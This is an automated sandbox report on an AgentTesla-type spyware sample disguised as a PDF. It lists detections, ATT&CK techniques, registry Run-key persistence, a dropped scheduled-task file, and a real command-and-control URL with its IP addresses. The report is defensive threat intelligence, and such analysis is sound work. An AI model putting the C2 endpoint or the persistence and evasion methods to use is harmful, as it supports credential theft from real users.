Source: Yara match	File source: 0.2.PREVIOUS CONVERSATION.pdf.exe.43050f8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.673437502.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.674726830.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.674213320.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.687161020.00000000067D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.672927900.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.675249725.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.682283890.0000000003E12000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PREVIOUS CONVERSATION.pdf.exe PID: 5068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3240, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Scheduled Task/Job1	Access Token Manipulation1	Disable or Modify Tools11	Input Capture211	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel11	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter2	Registry Run Keys / Startup Folder11	Process Injection12	Deobfuscate/Decode Files or Information1	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Input Capture211	Exfiltration Over Bluetooth	Non-Application Layer Protocol2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scheduled Task/Job1	Logon Script (Windows)	Scheduled Task/Job1	Obfuscated Files or Information12	Security Account Manager	System Information Discovery233	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Registry Run Keys / Startup Folder11	Software Packing11	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Security Software Discovery621	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading111	Cached Domain Credentials	Virtualization/Sandbox Evasion231	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion231	DCSync	Process Discovery3	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Access Token Manipulation1	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection12	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
PREVIOUS CONVERSATION.pdf.exe	26%	Virustotal		Browse
PREVIOUS CONVERSATION.pdf.exe	25%	ReversingLabs	ByteCode-MSIL.Dropper.Dapato

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe	40%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Unpacked PE Files

Source	Detection	Scanner	Label	Download
8.0.RegSvcs.exe.400000.1.unpack	100%	Avira	TR/Crypt.EPACK.Gen2	Download File
8.0.RegSvcs.exe.400000.2.unpack	100%	Avira	TR/Crypt.EPACK.Gen2	Download File
8.0.RegSvcs.exe.400000.3.unpack	100%	Avira	TR/Crypt.EPACK.Gen2	Download File
0.2.PREVIOUS CONVERSATION.pdf.exe.43050f8.5.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
8.0.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Crypt.EPACK.Gen2	Download File
0.2.PREVIOUS CONVERSATION.pdf.exe.43f2918.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
8.0.RegSvcs.exe.400000.4.unpack	100%	Avira	TR/Crypt.EPACK.Gen2	Download File
8.0.RegSvcs.exe.400000.5.unpack	100%	Avira	TR/Crypt.EPACK.Gen2	Download File

Domains

Source	Detection	Scanner	Link
niiarmah.wm01.to	5%	Virustotal	Browse
ntp.se	0%	Virustotal	Browse
sdns.se	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://niiarmah.wm01.to/recv5.phpE	0%	Avira URL Cloud	safe
https://niiarmah.wm01.to/recv5.php	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
niiarmah.wm01.to	45.153.186.90	true	true	5%, Virustotal, Browse	unknown
ntp.se	194.58.200.20	true	false	0%, Virustotal, Browse	unknown
sdns.se	185.243.215.214	true	false	1%, Virustotal, Browse	unknown
a6d089361c3e66334521ca401baef106.se	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://niiarmah.wm01.to/recv5.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://niiarmah.wm01.to/recv5.phpE	RegSvcs.exe, 00000008.00000002.932538400.0000000003F12000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.58.200.20	ntp.se	Sweden		57021	NTP-SEAnycastedNTPservicesfromNetnodIXPsSE	false
45.153.186.90	niiarmah.wm01.to	Bulgaria		202448	MVPShttpswwwmvpsnetEU	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	534663
Start date:	06.12.2021
Start time:	12:17:15
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	PREVIOUS CONVERSATION.pdf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/9@25/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 28.8% (good quality ratio 25.8%) Quality average: 70.7% Quality standard deviation: 32%
HCA Information:	Successful, ratio: 54% Number of executed functions: 62 Number of non-executed functions: 92
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 51.11.168.232, 51.104.136.2 Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, store-images.s-microsoft.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com, settingsfd-geo.trafficmanager.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:18:08	API Interceptor	2x Sleep call for process: PREVIOUS CONVERSATION.pdf.exe modified
12:18:13	API Interceptor	43x Sleep call for process: powershell.exe modified
12:18:26	API Interceptor	1x Sleep call for process: RegSvcs.exe modified
12:18:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-78f9 C:\Users\user\AppData\Roaming\WebMonitor-78f9.exe
12:18:45	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-78f9 C:\Users\user\AppData\Roaming\WebMonitor-78f9.exe
12:18:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WebMonitor-78f9 C:\Users\user\AppData\Roaming\WebMonitor-78f9.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
194.58.200.20	OUTSTANDING_DEBTS.exe	Get hash	malicious	Browse
	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse
	Banking_cordinates_928273.exe	Get hash	malicious	Browse
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse
	allcrhfJER.exe	Get hash	malicious	Browse
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse
	FILE_2932NH_9923.exe	Get hash	malicious	Browse
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse
	OFfcxY5xia.exe	Get hash	malicious	Browse
	Z2YNNlDA9o.exe	Get hash	malicious	Browse
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse
	lc3of5dOat.exe	Get hash	malicious	Browse
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse
	IMA_2021-03-10.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse
	Code.exe	Get hash	malicious	Browse
	IRS RELIEF PDF.exe	Get hash	malicious	Browse
45.153.186.90	OUTSTANDING_DEBTS.exe	Get hash	malicious	Browse
	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse
	Banking_cordinates_928273.exe	Get hash	malicious	Browse
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse
	FILE_2932NH_9923.exe	Get hash	malicious	Browse
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse
	OFfcxY5xia.exe	Get hash	malicious	Browse
	Z2YNNlDA9o.exe	Get hash	malicious	Browse
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse
	lc3of5dOat.exe	Get hash	malicious	Browse
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse
	IMA_2021-03-10.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse
	Code.exe	Get hash	malicious	Browse
	IRS RELIEF PDF.exe	Get hash	malicious	Browse
	tax-relief.exe	Get hash	malicious	Browse
	1Rv2jMLk7F.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ntp.se	OUTSTANDING_DEBTS.exe	Get hash	malicious	Browse	194.58.200.20
	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse	194.58.200.20
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	194.58.200.20
	Banking_cordinates_928273.exe	Get hash	malicious	Browse	194.58.200.20
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	194.58.200.20
	allcrhfJER.exe	Get hash	malicious	Browse	194.58.200.20
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	194.58.200.20
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	OFfcxY5xia.exe	Get hash	malicious	Browse	194.58.200.20
	Z2YNNlDA9o.exe	Get hash	malicious	Browse	194.58.200.20
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	194.58.200.20
	lc3of5dOat.exe	Get hash	malicious	Browse	194.58.200.20
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse	194.58.200.20
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	IMA_2021-03-10.exe	Get hash	malicious	Browse	194.58.200.20
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse	194.58.200.20
	Code.exe	Get hash	malicious	Browse	194.58.200.20
	IRS RELIEF PDF.exe	Get hash	malicious	Browse	194.58.200.20
niiarmah.wm01.to	OUTSTANDING_DEBTS.exe	Get hash	malicious	Browse	45.153.186.90
	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse	45.153.186.90
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	45.153.186.90
	Banking_cordinates_928273.exe	Get hash	malicious	Browse	45.153.186.90
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	45.153.186.90
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	45.153.186.90
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	45.153.186.90
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	45.153.186.90
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	45.153.186.90
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	45.153.186.90
sdns.se	2r7YWg9WKr.exe	Get hash	malicious	Browse	185.243.215.214
	OUTSTANDING_DEBTS.exe	Get hash	malicious	Browse	185.243.215.214
	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse	185.243.215.214
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	185.243.215.214
	Banking_cordinates_928273.exe	Get hash	malicious	Browse	185.243.215.214
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	185.243.215.214
	allcrhfJER.exe	Get hash	malicious	Browse	185.243.215.214
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	185.243.215.214
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	OFfcxY5xia.exe	Get hash	malicious	Browse	185.243.215.214
	Z2YNNlDA9o.exe	Get hash	malicious	Browse	185.243.215.214
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	185.243.215.214
	lc3of5dOat.exe	Get hash	malicious	Browse	185.243.215.214
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse	185.243.215.214
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	185.243.215.214
	IMA_2021-03-10.exe	Get hash	malicious	Browse	185.243.215.214
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse	185.243.215.214
	Code.exe	Get hash	malicious	Browse	185.61.148.26

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
NTP-SEAnycastedNTPservicesfromNetnodIXPsSE	OUTSTANDING_DEBTS.exe	Get hash	malicious	Browse	194.58.200.20
	NEW PURCHASE ORDER.exe	Get hash	malicious	Browse	194.58.200.20
	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	194.58.200.20
	Banking_cordinates_928273.exe	Get hash	malicious	Browse	194.58.200.20
	REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	194.58.200.20
	allcrhfJER.exe	Get hash	malicious	Browse	194.58.200.20
	HSBC_PAYMENT_COPY.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	FILE_2932NH_9923.exe	Get hash	malicious	Browse	194.58.200.20
	DHL_PACKAGE_HD98232.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	BANK DETAILS.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	OFfcxY5xia.exe	Get hash	malicious	Browse	194.58.200.20
	Z2YNNlDA9o.exe	Get hash	malicious	Browse	194.58.200.20
	MATCH_OUTSTANDING_BILL.exe	Get hash	malicious	Browse	194.58.200.20
	lc3of5dOat.exe	Get hash	malicious	Browse	194.58.200.20
	IMAGE20210406_490133692.exe.exe	Get hash	malicious	Browse	194.58.200.20
	JANUARY OVERDUE INVOICE.pdf.exe	Get hash	malicious	Browse	194.58.200.20
	IMA_2021-03-10.exe	Get hash	malicious	Browse	194.58.200.20
	SecuriteInfo.com.Trojan.GenericKDZ.73162.30196.exe	Get hash	malicious	Browse	194.58.200.20
	Code.exe	Get hash	malicious	Browse	194.58.200.20
	IRS RELIEF PDF.exe	Get hash	malicious	Browse	194.58.200.20
MVPShttpswwwmvpsnetEU	YxDTzT4Bq6.exe	Get hash	malicious	Browse	93.115.20.139
	oSI9rf0h2U.exe	Get hash	malicious	Browse	93.115.20.139
	VBELHQLOAs.exe	Get hash	malicious	Browse	93.115.20.139
	6Xtf11WnP2.exe	Get hash	malicious	Browse	93.115.20.139
	Y5EGM7BygT.exe	Get hash	malicious	Browse	93.115.20.139
	GkQngTTbVE.exe	Get hash	malicious	Browse	93.115.20.139
	Z0on97U3lu.exe	Get hash	malicious	Browse	93.115.20.139
	63GaBeMeN6.exe	Get hash	malicious	Browse	93.115.20.139
	GALxGtqYjH.exe	Get hash	malicious	Browse	93.115.20.139
	qa7tRJ7QVe.exe	Get hash	malicious	Browse	93.115.20.139
	QbXMqZr3bx.exe	Get hash	malicious	Browse	93.115.20.139
	SdbW7ReHTT.exe	Get hash	malicious	Browse	93.115.20.139
	ae3b30ad18aed8960e127553bddcf1dce053d018f8d57.exe	Get hash	malicious	Browse	93.115.21.52
	QTjMt7g965.exe	Get hash	malicious	Browse	93.115.20.139
	X5lLjSzDd8.exe	Get hash	malicious	Browse	93.115.20.139
	YscRB5XKiN.exe	Get hash	malicious	Browse	93.115.20.139
	KRshbdLJqf.exe	Get hash	malicious	Browse	93.115.20.139
	70GyUyuB9x.exe	Get hash	malicious	Browse	93.115.20.139
	VPH7u6xleu.exe	Get hash	malicious	Browse	93.115.20.139
	lOOCF15hi1.exe	Get hash	malicious	Browse	93.115.20.139

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	pkeyuibx.exe	Get hash	malicious	Browse	45.153.186.90
	Facturas DHL Parcel 48_20211206.exe	Get hash	malicious	Browse	45.153.186.90
	Facturas DHL Parcel 48_06122021.exe	Get hash	malicious	Browse	45.153.186.90
	CrDDSBydnG.exe	Get hash	malicious	Browse	45.153.186.90
	CrDDSBydnG.exe	Get hash	malicious	Browse	45.153.186.90
	#Ud83d#Udce8 INV statement.htm	Get hash	malicious	Browse	45.153.186.90
	KK1TMPtU6z.exe	Get hash	malicious	Browse	45.153.186.90
	8fQoZiYq5t.exe	Get hash	malicious	Browse	45.153.186.90
	KK1TMPtU6z.exe	Get hash	malicious	Browse	45.153.186.90
	NOTA_FISCAL_2021.msi	Get hash	malicious	Browse	45.153.186.90
	SecuriteInfo.com.Trojan.Siggen15.59581.9759.exe	Get hash	malicious	Browse	45.153.186.90
	SecuriteInfo.com.Trojan.GenericKD.38184020.11638.exe	Get hash	malicious	Browse	45.153.186.90
	SecuriteInfo.com.Trojan.GenericKD.47566371.31888.exe	Get hash	malicious	Browse	45.153.186.90
	SecuriteInfo.com.Trojan.GenericKD.38189010.4210.exe	Get hash	malicious	Browse	45.153.186.90
	SecuriteInfo.com.Trojan.GenericKD.38157423.13774.exe	Get hash	malicious	Browse	45.153.186.90
	install.exe	Get hash	malicious	Browse	45.153.186.90
	Cleaner.exe	Get hash	malicious	Browse	45.153.186.90
	Fierohack.exe	Get hash	malicious	Browse	45.153.186.90
	GloryHack.exe	Get hash	malicious	Browse	45.153.186.90
	Fortnite Hack Mod v1.4.exe	Get hash	malicious	Browse	45.153.186.90

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PREVIOUS CONVERSATION.pdf.exe.log Download File
Process:	C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1310
Entropy (8bit):	5.345651901398759
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE47mE4Ko88:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKz6
MD5:	D918C6A765EDB90D2A227FE23A3FEC98
SHA1:	8BA802AD8D740F114783F0DADC407CBFD2A209B3
SHA-256:	AB0E9F716E31502A4C6786575C5E64DFD9D24AF99056BBE2640A2FA322CFF4D6
SHA-512:	A937ABD8294BB32A612F8B3A376C94111D688379F0A4DB9FAA2FCEB71C25E18D621EEBCFDA5706B71C8473A4F38D8B3C4005D1589B564F9B1C9C441B6D337814
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	22312
Entropy (8bit):	5.603648763561342
Encrypted:	false
SSDEEP:	384:TtCDJE06V5mtjDqu01bXSBKn/wjultI+37Y9gRSJ3xmT1MaLZlbAV7hXWMZiZBDk:sDqu64KICltxjRc8Cqfw9aVk
MD5:	60C2A60C19405A73D367CE3B35D9FCD5
SHA1:	26DA844DE6A4C59BAE716ED775B7F5B37AB3CC0A
SHA-256:	DF5F17BF03E7E787F34B92EB1AF98F1D3D6341F40644A503A953C1316978F1A5
SHA-512:	82E3157335CD00BA0B0382FD25808AAF583BCF8FE018E1080622280A7591064A3910C4D978DDAEF05824B465CD94C581026ADBBEEB47312CC5E07669880480D1
Malicious:	false
Reputation:	low
Preview:	@...e...................h.................H..........@..........H...............<@.^.L."My...:P..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o4gnveon.fed.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sqwum3cb.is5.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\tmpD3E0.tmp Download File
Process:	C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1598
Entropy (8bit):	5.148861891998742
Encrypted:	false
SSDEEP:	24:2di4+S2qh/S1KTy1moCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNta4aoxvn:cgeKwYrFdOFzOzN33ODOiDdKrsuTRVv
MD5:	0EC92A930D8A57C7BBA188D247F587DA
SHA1:	AA08D49260C8CE002DAB9EE7DF68E0CD1631C8E8
SHA-256:	008067AD3739FFF1A70F48F81E365CC2F0DCA443E167FCDE69602E520851CEE4
SHA-512:	A10D5D0871493DCBBF676E7E1993A468168EFFAE820EF1932373CA287EA35C0BDFE5A002B59627C2FC3E43B141B5E48F818FA5F0B779DF7C4B6612D27965368E
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>computer\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>computer\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>computer\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <

C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe Download File
Process:	C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2296320
Entropy (8bit):	7.857794521576697
Encrypted:	false
SSDEEP:	49152:DeZkT1lcGocXfF7MGN3GBoqn8IEBYQpp2r7htbTUCdnLv:y6T1lcGpvjRGB77Up4n/l
MD5:	28241AAFE5B6018C984E310C33E9E48B
SHA1:	D126C0CF51A98D9F3BD38EFA6E61D4091104C624
SHA-256:	9E6563C2C5E8A869BFDBF4FF1336BF2ABCD238695D87F79A01B308216ACC9CB5
SHA-512:	730AE328D0CC82BE717D24130073D8A3D0EC8E3B118E88DCB2B13071499C2EFA03CF98905BE68B2BC041A3245D792A113403272F67052963F3C4BAEAE15D0C98
